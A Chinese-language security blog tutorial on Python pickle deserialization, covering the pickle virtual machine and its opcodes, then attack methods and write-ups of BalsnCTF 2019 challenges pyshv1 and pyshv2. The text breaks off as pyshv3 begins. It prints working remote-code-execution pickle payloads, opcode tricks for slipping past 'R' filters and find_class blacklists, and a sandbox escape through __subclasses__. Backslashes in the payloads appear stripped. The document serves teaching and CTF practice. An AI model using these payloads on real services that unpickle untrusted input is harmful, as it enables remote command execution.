🍊 SecMap - 反序列化(Python)
这是橘子杀手的第 44 篇文章
题图摄于:杭州 · 西湖
☁️ 介绍
与 PHP 反序列化类似,Python 反序列化也是为了解决对象传输与持久化存储问题。
🌧 相关库和方法
在 Python 中内置了标准库 pickle
/cPickle
(3.x 改名为 _pickle
),用于序列化/反序列化的各种操作(Python 的官方文档中,称其为 封存/解封,意思其实差不多),比较常见的当然是 loads
(序列化) 和 dumps
(反序列化)啦。其中 pickle
是用 Python 写的,cPickle
是用 C 语言写的,速度很快,但是它不允许用户从 pickle
派生子类。
import pickle
class Test:
def __init__(self):
self.a = 1
test = Test()
serialized = pickle.dumps(test)
print(serialized)
unserialized = pickle.loads(serialized)
print(unserialized.a)
结果如下:
b'x80x04x95"x00x00x00x00x00x00x00x8cx08__main__x94x8cx04Testx94x93x94)x81x94}x94x8cx01ax94Kx01sb.'
1
第一行看起来很复杂?马上说到
🌧 PVM
要对序列化、反序列化很清楚的话,一定要了解 PVM,这背后又有非常多的细节
首先,在调用 pickle 的时候,实际上是 class pickle.Pickler
和 class pickle.Unpickler
在起作用,而这两个类又是依靠 Pickle Virtual Machine(PVM),在更深层对输入进行着某种操作,从而最后得到了那串复杂的结果。
PVM 由三部分组成:
-
指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 .
这个结束符后停止(看上面的代码示例,序列化之后的结果最后是.
)。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是: -
opcode 是单字节的 -
带参数的指令用换行符来确定边界 -
栈区:用 list 实现的,被用来临时存储数据、参数以及对象。 -
内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。
最后,PVM 还有协议一说,这里的协议指定了应该采用什么样的序列化、反序列化算法。
❄️ PVM 协议
当前共有 6 种不同的协议可用,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
-
v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python -
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容 -
v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制(参考 PEP 307)。 -
v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。 -
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化(参考 PEP 3154)。它是 Python 3.8 使用的默认协议。 -
v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理(参考 PEP 574)。
上面那个代码示例,我用的是 py3.8,如果要得到易读的序列化结果,在 dumps 中指定协议版本即可:
import pickle
class Test:
def __init__(self):
self.a = 1
test = Test()
serialized = pickle.dumps(test, protocol=0) # 指定版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.a)
结果如下:
b'ccopy_regn_reconstructornp0n(c__main__nTestnp1nc__builtin__nobjectnp2nNtp3nRp4n(dp5nVanp6nI1nsb.'
1
在序列化时,协议版本是自动检测出来的,所以诸如 loads 方法是不需要参数来指定协议的。
由于不同版本在利用的时候没有很大区别,所以本文以最易读的 v0 协议为例。
❄️ opcode
opcode 是 PVM 的灵魂 ,控制整个流程的运行。常用的我给翻译了一下,各位现查现用好了。
MARK = b'(' # 向栈中压入一个 MARK 标记
STOP = b'.' # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值
POP = b'0' # 丢弃栈顶对象
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # 实例化一个 float 对象
INT = b'I' # 实例化一个 int 或者 bool 对象
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # 栈中压入 None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # push persistent object; id is taken from stack
REDUCE = b'R' # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈
STRING = b'S' # 实例化一个字符串对象
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # push string; counted binary string argument < 256 bytes
UNICODE = b'V' # 实例化一个 UNICODE 字符串对象
BINUNICODE = b'X' # push Unicode string; counted UTF-8 string argument
APPEND = b'a' # 将栈的第一个元素 append 到第二个元素(必须为列表)中
BUILD = b'b' # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update()
GLOBAL = b'c' # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈
DICT = b'd' # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果
EMPTY_DICT = b'}' # 向栈中直接压入一个空字典
APPENDS = b'e' # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中
GET = b'g' # 将 memo[n] 的压入栈
BINGET = b'h' # push item from memo on stack; index is 1-byte arg
INST = b'i' # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表
EMPTY_LIST = b']' # 向栈中直接压入一个空列表
OBJ = b'o' # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果,
PUT = b'p' # 将栈顶对象储存至 memo[n]
BINPUT = b'q' # store stack top in memo; index is 1-byte arg
LONG_BINPUT = b'r' # store stack top in memo; index is 4-byte arg
SETITEM = b's' # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
TUPLE = b't' # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果
EMPTY_TUPLE = b')' # 向栈中直接压入一个空元组
SETITEMS = b'u' # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00n' # not an opcode; see INT docs in pickletools.py
当然,这些都是 v0 协议的 opcode,其他版本的协议会新增/替换一些 opcode,详见资料 2。
以上面那个 b'ccopy_regn_reconstructornp0n(c__main__nTestnp1nc__builtin__nobjectnp2nNtp3nRp4n(dp5nVanp6nI1nsb.'
为例,我们来解读一下这个序列化结果:
c copy_reg _reconstructor: stack[copy_reg._reconstructor]
p 0: memo[copy_reg._reconstructor]
(: stack[(, copy_reg._reconstructor]
c __main__ Test: stack[__main__.Test, (, copy_reg._reconstructor]
p 1: memo[copy_reg._reconstructor, __main__.Test]
c __builtin__ object: stack[__builtin__.object, __main__.Test, (, copy_reg._reconstructor]
p 2: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object]
N: stack[None, __builtin__.object, __main__.Test, (, copy_reg._reconstructor]
t: stack[(None, __builtin__.object, __main__.Test), copy_reg._reconstructor]
p 3: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test)]
R stack[<__main__.Test at 0x160578603d0>]
p 4: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>]
(: stack[(, <__main__.Test at 0x160578603d0>]
d: stack[{}, <__main__.Test at 0x160578603d0>]
p 5: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}]
V a: stack["a", <__main__.Test at 0x160578603d0>]
p 6: memo[copy_reg._reconstructor, __main__.Test, __builtin__.object, (None, __builtin__.object, __main__.Test), <__main__.Test at 0x160578603d0>, {}, "a"]
I 1: stack[1, "a", <__main__.Test at 0x160578603d0>]
s: stack[{"a": 1}, <__main__.Test at 0x160578603d0>]
b: stack[<__main__.Test at 0x160578603d0>] # set a = 1
.: [] # 返回 <__main__.Test at 0x160578603d0>
我感觉,整个过程有点像语法分析里的 LR 算法,不断移进-规约
虽然这个结果的可读性好了很多,但是依旧不容易读懂。
所以 Python 官方提供了工具,叫 pickletools
,它的作用主要是:
-
可读性较强的方式展示一个序列化对象( pickletools.dis
) -
对一个序列化结果进行优化( pickletools.optimize
)
import pickletools
print(pickletools.dis(serialized))
结果如下:
0: c GLOBAL 'copy_reg _reconstructor'
25: p PUT 0
28: ( MARK
29: c GLOBAL '__main__ Test'
44: p PUT 1
47: c GLOBAL '__builtin__ object'
67: p PUT 2
70: N NONE
71: t TUPLE (MARK at 28)
72: p PUT 3
75: R REDUCE
76: p PUT 4
79: ( MARK
80: d DICT (MARK at 79)
81: p PUT 5
84: V UNICODE 'a'
87: p PUT 6
90: I INT 1
93: s SETITEM
94: b BUILD
95: . STOP
highest protocol among opcodes = 0
这个要比自己分析序列化结果清晰多了
细心的橘友们会注意到,在上面那个人工分析序列化的过程中,memo 一直是只有压入,没有弹出,所以 memo 里的数据压根就用不着,那么也有没必要压入了。所以上面的序列化结果完全可以把 pn
都去掉,再把不需要的 n
移除,优化为:b'ccopy_regn_reconstructorn(c__main__nTestnc__builtin__nobjectnNtR(dVanI1nsb.'
,我们来执行一下试试:
当然,也可以用 pickletools.optimize
自动优化:
虽然这个优化结果与我们手动优化是一模一样的,但是在遇到复杂的序列化结果时,最好还是用这个方法来搞。
🌧 小结
由于在反序列化的时候,这个对象要能在当前环境上下文中创建,所以在实际的利用过程中,那些默认加载的库、标准库(可被自动 import)就成了首选的类,比如 os
,它有 system
方法。
对于 Python 可以被 pickle/unpickle 的对象以及其他一些注意事项,可以参考官方文档,见资料 3
我这里列出几点比较重要的:
-
函数(内置函数或用户自定义函数)在被封存时,引用的是函数全名(这就是为什么 lambda
函数不可以被封存:所有的匿名函数都有同一个名字:<lambda>
)。这意味着只有函数所在的模块名,与函数名会被封存,函数体及其属性不会被封存。因此,在解封的环境中,函数所属的模块必须是可以被导入的,而且模块必须包含这个函数被封存时的名称,否则会抛出异常 -
类也只封存名称,所以在解封环境中也有和函数相同的限制。注意,类体及其数据不会被封存,只有实例数据会被封存,所以在下面的例子中类属性 attr 不会存在于解封后的环境中:
import pickle
class Foo:
attr = 'A class attribute'
picklestring = pickle.dumps(Foo)
-
当实例解封时,它的 __init__()
方法通常不会被调用。其默认动作是:先创建一个未初始化的实例,然后还原其属性:
def save(obj):
return (obj.__class__, obj.__dict__)
def load(cls, attributes):
obj = cls.__new__(cls)
obj.__dict__.update(attributes)
return obj
最后需要注意的是,由于 0
的存在,一个序列化字符串可以包含很多个不相关的操作,在后面会有一个例子来说明。
☁️ 攻击思路
本来打算按照攻击场景来分类的,但是我发现场景太多了 ,还是按照构造方式分类,攻击手法作为附属示例会比较清晰。
payload 的构造分为用魔术方法自动构造和手动构造(手搓 opcode)。
🌧 自动构造
首先,这样序列化肯定是达不到攻击目的的:
import pickle
import os
class Test:
def __init__(self):
self.a = os.system("whoami")
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)
os.system("whoami")
在 test = Test()
就会被执行完毕,所以这个可以说是自己日自己了
❄️ 相关魔术方法
上面提到过,解封的时候是有一个默认的赋值过程,既然是默认行为,往往是有办法自定义的。Python 提供了很多魔术方法(比如比较常见的 __reduce__
),来改变这一默认行为。下面一起来看下这些魔术方法都是怎么用的(下面几个方法的介绍,内容大部分都是摘录自官方文档)。
__getnewargs_ex__()
限制:
-
对于使用 v2 版或更高版协议的 pickle 才能使用此方法 -
必须返回一对 (args, kwargs)
用于构建对象,其中args
是表示位置参数的 tuple,而kwargs
是表示命名参数的 dict
__getnewargs_ex__()
方法 return 的值,会在解封时传给 __new__()
方法的作为它的参数。
__getnewargs__()
限制:
-
必须返回一个 tuple 类型的 args
-
如果定义了 __getnewargs_ex__()
,那么__getnewargs__()
就不会被调用。
这个方法与上一个 __getnewargs_ex__()
方法类似,但只支持位置参数。
注:在 Python 3.6 前,v2、v3 版协议会调用 __getnewargs__()
,更高版本协议会调用 __getnewargs_ex__()
__getstate__()
类还可以进一步控制实例的封存过程。如果类定义了 __getstate__()
,它就会被调用,其返回的对象是被当做实例内容来封存的,否则封存的是实例的 __dict__
。如果 __getstate__()
未定义,实例的 __dict__
会被照常封存。
__setstate__()
当解封时,如果类定义了 __setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__
如果 __getstate__()
返回 False
,那么在解封时就不会调用 __setstate__()
方法
__reduce__()
限制:
-
__reduce__
方法是新式类特有的
opcode R
其实就是 __reduce__()
__reduce__()
方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为 “reduce 值”)。
如果返回字符串,该字符串会被当做一个全局变量的名称。它应该是对象相对于其模块的本地名称,pickle 模块会搜索模块命名空间来确定对象所属的模块。这种行为常在单例模式使用。
如果返回的是元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。每个元素代表的意义如下:
-
一个可调用对象,该对象会在创建对象的最初版本时调用。 -
可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。 -
可选元素,用于表示对象的状态,将被传给前述的 __setstate__()
方法。如果对象没有此方法,则这个元素必须是字典类型,并会被添加至__dict__
属性中。 -
可选元素,一个返回连续项的迭代器(而不是序列)。这些项会被 obj.append(item)
逐个加入对象,或被obj.extend(list_of_items)
批量加入对象。这个元素主要用于 list 的子类,也可以用于那些正确实现了append()
和extend()
方法的类。(具体是使用append()
还是extend()
取决于 pickle 协议版本以及待插入元素的项数,所以这两个方法必须同时被类支持) -
可选元素,一个返回连续键值对的迭代器(而不是序列)。这些键值对将会以 obj[key] = value
的方式存储于对象中。该元素主要用于 dict 子类,也可以用于那些实现了__setitem__()
的类。 -
可选元素,一个带有 (obj, state)
签名的可调用对象。该可调用对象允许用户以编程方式控制特定对象的状态更新行为,而不是使用 obj 的静态__setstate__()
方法。如果此处不是 None,则此可调用对象的优先级高于 obj 的__setstate__()
。
3.8 新版功能: 新增了元组的第 6 项,可选元素 (obj, state)
可以看出,其实 pickle 并不直接调用上面的几个函数。事实上,它们实现了 __reduce__()
这一特殊方法。尽管这个方法功能很强,但是直接在类中实现 __reduce__()
容易产生错误。因此,设计类时应当尽可能的使用高级接口(比如 __getnewargs_ex__()
、__getstate__()
和 __setstate__()
)。后面仍然可以看到直接实现 __reduce__()
接口的状况,可能别无他法,可能为了获得更好的性能,或者两者皆有之。
__reduce_ex__()
作为替代选项,也可以实现 __reduce_ex__()
方法。此方法的唯一不同之处在于它接受一个整型参数用于指定协议版本。如果定义了这个函数,则会覆盖 __reduce__()
的行为。此外,__reduce__()
方法会自动成为扩展版方法的同义词。这个函数主要用于为以前的 Python 版本提供向后兼容的 reduce 值。
❄️ 利用 __reduce__() 自动生成
这里举一个简单的执行命令的 demo。
显然,在上面那么多方法中,__reduce__()
是我们的首选构造方案,demo 如下:
import pickle
import os
class Test:
def __reduce__(self):
return (os.system, ("whoami", ))
test = Test()
serialized = pickle.dumps(test, protocol=0)
print(serialized)
结果:b'cntnsystemnp0n(Vwhoaminp1ntp2nRp3n.'
当然,新式类是 3.x 才有的。如果要在 2.x(>= 2.2,< 2.2 无新式类)使用 __reduce__
的话,需要手动显式继承新式类,把 class Test
改为 class Test(object)
即可。
如果攻击目标可以传入任意序列化结果,那么这个 payload 直接就可以生效。这种攻击最为简单,在 CTF 中,有利用黑名单 ban 掉 system 等等函数的题目,思路就是寻找黑名单的漏网之鱼。
❄️ 避免使用特定的 opcode
如果攻击目标有对传入的序列化结果做高危 opcode 判断的话,可以尝试用不同版本的协议:
这种差异性或许能让我们绕过一些 if 判断。不过,诸如 R
这种比较必需的 opcode,一般是很难用其他 opcode 来直接代替的。
❄️ pker
网上已经有根据常规的语句,自动生成 payload 的工具了 ,见资料 4
可冲。不过建议还是先看下如何根据利用链手搓 opcode。
🌧 手动构造
手动构造需要对 opcode 比较了解(实际上用几次就熟练了)。由于自动构造的手法手动构造都可以做到,所以为了避免内容重复,这里只列举手动构造特有攻击的手法。
❄️ 全局引用
举个例子:
import secret
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == secret.pwd:
print("Hello, admin!")
在这个例子中,假如我就是想通过这个 if 来完成攻击,应该怎么实现呢?
先看自动构造,比较直接的思路就是:
class secret:
pwd = "???"
class Target:
def __init__(self):
self.pwd = secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dVpwdnV???nsb.'
这个犯了和上面那个命令执行相同的错误,在实例化 Target 的时候,self.pwd
就已经被赋值完成了,而这肯定是有问题的,因为你不知道 secret.pwd
到底是啥(这里加个 class secret
只是为了代码可以运行)。
这个时候,我们可以利用 c
这个 opcode 来完成攻击。c
其实就是 pickle.Unpickler().find_class(module, name)
。
它的作用是导入 module 模块并返回其中名叫 name
的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class()
同样可以用来导入函数。
既然如此,我们就可以把攻击目标类中引用的 secret.pwd
用 c
拿进来:
# 前后对比
b'ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dVpwdnV???nsb.'
b'ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dVpwdncsecretnpwdnsb.'
丢进去看看:
nice
❄️ 引入魔术方法
举个 RCE 的例子:
class Target:
def __init__(self):
ser = "" # 输入点
if "R" in ser:
print("Hack! <=@_@")
else:
obj = pickle.loads(ser)
对于这个例子来说,要想 RCE,需要过这里的 if,也就是不能用 R
。
先来看下常规的 payload 是什么样的:
cntnsystemnp0n(Vwhoaminp1ntp2nRp3n.
^
这 R 如何去除呢?b
就派上用场了。
回顾一下它的作用:使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性/方法的设置。既然可以设置实例的方法,那么能不能设置一个方法让它在反序列化的时候自动运行呢?什么方法会在反序列化的时候自动运行,答案是上面提到的 __setstate__()
。
所以,我们只需要令 __setstate__ = os.system
,再把参数传入即可:
ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dV__setstate__ncosnsystemnubVwhoaminb.
但是我们把执行函数的那个 R 去掉之后,由于要构建实例,又引入了一个新的 R。用前面提到过的,修改协议版本即可:
x80x02c__main__nTestn)x81}(V__setstate__ncosnsystemnubVwhoaminb.
# pickletools.dis 如下
0: c GLOBAL '__main__ Test'
15: ) EMPTY_TUPLE
16: x81 NEWOBJ
17: } EMPTY_DICT
18: ( MARK
19: V UNICODE '__setstate__'
33: c GLOBAL 'os system'
44: u SETITEMS (MARK at 18)
45: b BUILD
46: V UNICODE 'whoami'
54: b BUILD
55: . STOP
x80x02
是协议的版本声明,可写可不写,写错了也不影响 Python 识别;x81
其实就是通过 cls.__new__
来创建一个实例,需要栈顶有 args(元组) 和 kwds(字典)。
❄️ find_class 黑名单绕过
Python 的官方文档里,明确表示了 pickle 是不保证安全性的,所以数据一定要可信才能进行 unpickle
同时,也给出了安全使用 pickle 的最佳实践:
当序列化中 opcode 出现 c
、i
、b'x93'
时,会调用 find_class。利用白名单方法来限制解封的对象一般是没问题的。但是如果用黑名单,就容易出现疏漏,攻击的思路就是用 mro 来层层深入寻找黑名单以外的模块、方法,与我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里提到的技巧如出一辙,我这里就不啰嗦了。
如果你经常打 CTF,就会发现现在 Python 反序列化的题目基本上都要用到 find_class,后面会有一些经典的题目。作为题目难度控制器,需要和其他场景联合起来去看如何绕过,所以我这里就不单独举例说明了。
❄️ 变量与方法覆盖
举个例子:
PWD = "???" # 已打码
class Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == PWD:
print("Hello, admin!")
这个时候,可以通过 import builtins
来覆盖 globals
里的 PWD
,转成代码就是这样:
import builtins
builtins.globals()["PWD"] = "tr0y" # 先把 PWD 改成一个值
obj.pwd = "tr0y" # 再让 obj.pwd 也等于这个值
转成 opcode 就是:cbuiltinsnglobalsn(tR(VPWDnVtr0ynu.
,但是还有一个问题,此时 obj 实际上是字典,它并没有 pwd 这个属性,所以在 if 判断的时候就会直接报错。
解决的办法就是用 0
把栈里的 builtins.globals()
弹出,它已经完成了自己修改 PWD 值的使命;然后再压入一个 Target 实例,并让它的 pwd 属性等于 tr0y,这样就可以让 obj.pwd
的值与 PWD 一致:
cbuiltinsnglobalsn(tR(VPWDnVtr0ynu0c__main__nTargetn)x81}(VpwdnVtr0ynub.
^
这里你可能会想,builtins.globals()
是字典,而 Python 中一切皆对象,那么这个字典也是一个实例,这样岂不是也可以用 b
来给这个字典新增一个属性?这样 payload 就简洁得多:
cbuiltinsnglobalsn(tR(VPWDnVtr0ynu}(VpwdnVtr0ynub.
遗憾的是,前面提到过,b
是执行 __dict__.update()
,而字典是没有 __dict__
这个属性的,所以没法通过 b 给它新增一个属性:
当然,不仅变量可以被覆盖,方法也是可以被覆盖的。比如 sys.modules.get("os")
,可以先用代码理清楚链路:
import sys
p0 = sys.modules
p0["sys"] = p0
import sys
p0["sys"] = sys.get("os")
转成 opcode:
csysnmodulesnp0n0g0nVsysng0nscsysngetn(VosntR.
注意这里的 import 了两次,只有第一次是真正执行了 sys 模块,然后载入内存,第二次是从 sys.modules 直接引入的。这个特性与 Python import 协议有关系,它由两个模块构成,查找器和加载器。导入详细机制可看资料 5。
所以,这个思路要求对 Python 内置的一些属性、方法、模块有扎实的掌握。比如大家可能习惯性用 dir()
来查看属性和方法,其实它只能用来查看属性:
我一般是在 ipython 中用 .*?
来查看,例如 os.*?
,不但会列出属性,还会列出方法(包括魔术方法)。
另外特别注意的是,有些对象的 __dict__
属于 mappingproxy
类型,例如:
如果直接用 b
这种对象进行属性修改的话,会抛出异常:
查看 pickle 的源码(见资料 6)可知(注:pickle 源码中有 _pickle
(即 cPickle)优先使用的逻辑,如果这个模块导入失败,才会使用这上面的 pickle。这两个模块的逻辑略有差异,如果想仔细对比需要看下 _pickle
的 C 源码),最终会执行 inst_dict[intern(k)] = v
,而 mappingproxy 类型禁止这样操作:
那么应该怎么办呢?再看源码,如果 state
是两个元素的元组,那么会执行 state, slotstate = state
,如果此时 state in [None, {}]
(由于 _pickle
逻辑问题,是没办法让 state 等于 ''
、0
等这种值的),那么就会跑去执行 setattr(inst, k, v)
,这是 mappingproxy 类型允许的:
所以,假如有一个库是 A,里面有个类 b,要修改 b 的属性,原本要执行的 cAnbn}VanI1nsb.
应该改为 cAnbn(N}VanI1ntsb.
或者 cAnbn(}}VanI1ntsb.
☁️ 课后题
这三道题目是 2019 年的 BalsnCTF,非常经典的 Python 反序列化题 ,源码见资料 7
🌧 pyshv1
# ----- securePickle.py -----
import pickle
import io
import sys
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py -----
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('sys')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
限制条件如下:
-
只能引入 sys 模块 -
方法中不能有 .
这题比较简单,利用方法覆盖的思路,sys.modules.get("os").system("whoami")
就可以了,转为 opcode 即为:
csysnmodulesnp0n0g0nVsysng0nscsysngetn(VosntR # 到这里和上面方法覆盖中的 payload 一样
p1n0 # 把 os 存下来先,然后清空栈
g0nVsysng1ns # 引入 sys.modules 并令 sys.modules["sys"] = os,这个思路还是方法覆盖
csysnsystemn(VwhoamintR. # 执行命令
在经过两轮覆盖 sys 之后,就可以执行任意命令了:
🌧 pyshv2
# ----- structs.py -----
# structs.py 是一个空文件
# ----- securePickle.py -----
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py -----
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('structs')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
print("Not Implemented QAQ")
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
这道题难度提升了不少。限制如下:
-
只能引入 structs 模块 -
方法中不能有 .
上一道题利用方法覆盖,依赖的是可引入模块中的某些特殊方法。我们先来看下 structs
都有哪些属性:
再看下都有哪些方法:
__builtins__
、__getattribute__
都是好东西。
思路首先可以是 structs.__builtins__["eval"]("__import__('os').system('whoami')")
,可是这里的 "eval"
是不好 get 的
我们可以从后往前推。
("__import__('os').system('whoami')")
,这个好解决,用 c
就行了。重点是 structs.__builtins__["eval"]
这个怎么搞出来。由于自定义的 find_class 用到了 __import__
,所以 cstructsn__builtins__
就会执行 __import__("structs")
。那么可以这样,首先,给 structs 加一个属性:structs.__dict__["p0"] = structs.__builtins__
,再解开一层,给 structs 加一个属性:structs.__dict__["p1"] = structs.__dict__["p0"].get
,那么 cstructsnp1n(VevalntR.
就会执行 structs.__builtins__.get("eval")
,所以这里的 opcode 就是:
cstructsn__dict__np0
(Vp0ncstructsn__builtins__ns
(Vp1ng0.getns # 这里是不行的
cstructsnp1n(VevalntR(V__import__('os').system('whoami')ntR.
遗憾的是,opcode 是不支持用 .
来取属性/方法的
所以现在的问题就变成了,.get
这个方法怎么搞出来。
再看下 find_class:
module = __import__(module)
return getattr(module, name)
所以如果 module 是一个字典的话,那么 name 就可以置为 get,即 __import__("structs")
的结果应该是一个字典。而 __import__
是可以被替换的,__getattribute__
就派上了用场,令 structs.__builtins__['__import__'] = structs.__getattribute__
。所以,我们还得给 structs 新增一个 structs 属性:structs.__dict__["structs"] = structs.__builtins__
。
到这里:__import__(module)
等于structs.__getattribute__("structs")
等于structs.__builtins__
所以 module 已经是 structs.__builtins__
了,只需要让 name = "get"
即可拿到 eval
:
# structs.__dict__["structs"] = structs.__builtins__
cstructsn__dict__nVstructsncstructsn__builtins__ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructsn__builtins__nV__import__ncstructsn__getattribute__ns0
# get eval
cstructsngetn(VevalntR(V
# get flag
# 收工
ntR.
这样即可获得 flag
import structs
import pickle
import io
whitelist = ["structs"]
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
dumps = pickle.dumps
a = b'''cstructsn__dict__nVstructsncstructsn__builtins__ns0cstructsn__builtins__nV__import__ncstructsn__getattribute__ns0cstructsngetn(VevalntR(''' +
b'''Vprint(open("./flag").read())ntR.'''
b = RestrictedUnpickler(io.BytesIO(a)).load()
print(b)
如果只是为了拿到 flag,用 open("./flag").read()
也可以。但我们总是会想想能不能 RCE,那么这道题可以 RCE 吗?你可能会想,opcode 里面已经把 __import__
污染了,所以没法 import 其他的包来 RCE。
实际上是可以的。同样,在我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里有用 mro 来实现无 import 执行任意命令的方法。我这里就不啰嗦了,直接给出 opcode:
# structs.__dict__["structs"] = structs.__builtins__
cstructsn__dict__nVstructsncstructsn__builtins__ns0
# structs.__builtins__['__import__'] = structs.__getattribute__
cstructsn__builtins__nV__import__ncstructsn__getattribute__ns0
# get eval
cstructsngetn(VevalntR(V
# 利用 mro 寻找可利用的模块,这里以 sys 为例
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == "_Printer"][0]._Printer__setup.__globals__['sys'].modules.get("os").system("whoami")
# 收工
ntR.
🌧 pyshv3
# ----- securePickle.py -----
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py -----
import securePickle as pickle
import codecs
import os
pickle.whitelist.append('structs')
class Pysh(object):
